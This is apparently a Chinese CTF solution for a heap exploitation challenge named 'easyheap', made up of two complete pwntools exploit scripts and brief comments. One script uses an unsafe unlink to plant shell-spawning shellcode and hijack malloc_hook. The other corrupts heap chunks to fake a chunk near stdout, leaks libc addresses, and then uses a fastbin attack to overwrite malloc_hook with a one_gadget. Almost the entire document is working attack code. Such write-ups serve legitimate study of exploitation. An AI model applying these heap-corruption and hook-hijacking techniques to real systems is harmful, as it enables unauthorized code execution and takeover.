直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙
from pwn import *
p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
def alloc(size:int):
p.recvuntil(">> ")
p.sendline(b"1")
p.recvuntil("Size: ")
p.sendline(str(size).encode())
def delete(index:int):
p.recvuntil(">> ")
p.sendline(b"2")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
def fill(index:int,content):
p.recvuntil(">> ")
p.sendline(b"3")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
p.recvuntil("Content: ")
p.sendline(content)
def exp():
p.recvuntil(b"Mmap: ")
# leak addr
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print("mmap_addr:",hex(mmap_addr))
alloc(0xf8) #idx0
p.recvuntil(b"chunk at [0] Pointer Address ")
p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
print("p_base:",hex(p_base))
# unlink
alloc(0xf8) #idx1
alloc(0x20) #idx2
target = p_base + 0x202068
fd = target - 0x18
bk = target - 0x10
payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
fill(0,payload1)
#gdb.attach(p)
delete(1)
#gdb.attach(p)
# write shellcode to mmap_addr
payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
payload2 += p64(mmap_addr)
fill(0,payload2)
fill(1,asm(shellcraft.sh())) #
# get malloc_hook_addr
payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
fill(0,payload3)
#gdb.attach(p)
delete(1) # free fake_chunk
fill(0,p64(0)*3 + p64(0x20) + b"\x10")
fill(3,p64(mmap_addr))
alloc(0x20)
# get_shell
p.interactive()
if __name__ == "__main__":
exp()细节标注在exp的注释中
from pwn import *
p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def alloc(size:int):
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil("Size: ")
p.sendline(str(size).encode())
def delete(index:int):
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
def fill(index:int,content):
p.recvuntil(b">> ")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"Content: ")
p.sendline(content)
#IO_FILE
def exp():
#构造overlapping
alloc(0x88) #idx0
alloc(0x68) #idx1
alloc(0xf8) #idx2
alloc(0x10) #idx3
delete(0)
payload1 = b"a"*0x60 + p64(0x100)
fill(1,payload1)
delete(2) # unlink&overlapping
delete(1)
#gdb.attach(p)
#让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
alloc(0x88) #idx0
delete(0)
#攻击stdout
alloc(0x100) #idx0 用于控制中间的fastchunk
payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25" #fakechunk offset
fill(0,payload2)
alloc(0x68) #idx1
alloc(0x68) #idx2 stdout fakechunk
#payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"
fill(2,payload3)
#获取输出并计算libc_base和一些必要地址
base_offset = 0x3C56A4
malloc_hook_fakechunk_offset = 0x3C4AED
realloc_offset = 0x846c0
one_gadget_offset = 0xf1147
p.recv(0x48)
libc_base = u64(p.recv(8)) - base_offset
malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
realloc = libc_base + realloc_offset
one_gadget = libc_base + one_gadget_offset
print("libc base:",hex(libc_base))
print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
print("realloc:",hex(realloc))
print("one_gadget:",hex(one_gadget))
#利用fastbin attack分配fake chunk到malloc hook附近
delete(1) #修复fastbin,否则无法进行fastbin attack
payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
fill(0,payload4)
alloc(0x68) #idx1
alloc(0x68) #idx4 malloc_hook_fakechunk
#malloc_hook to one_gadget
#直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
fill(4,payload5)
alloc(0x10)
#跑几次脚本看运气弹shell
p.interactive()
if __name__ == "__main__":
exp()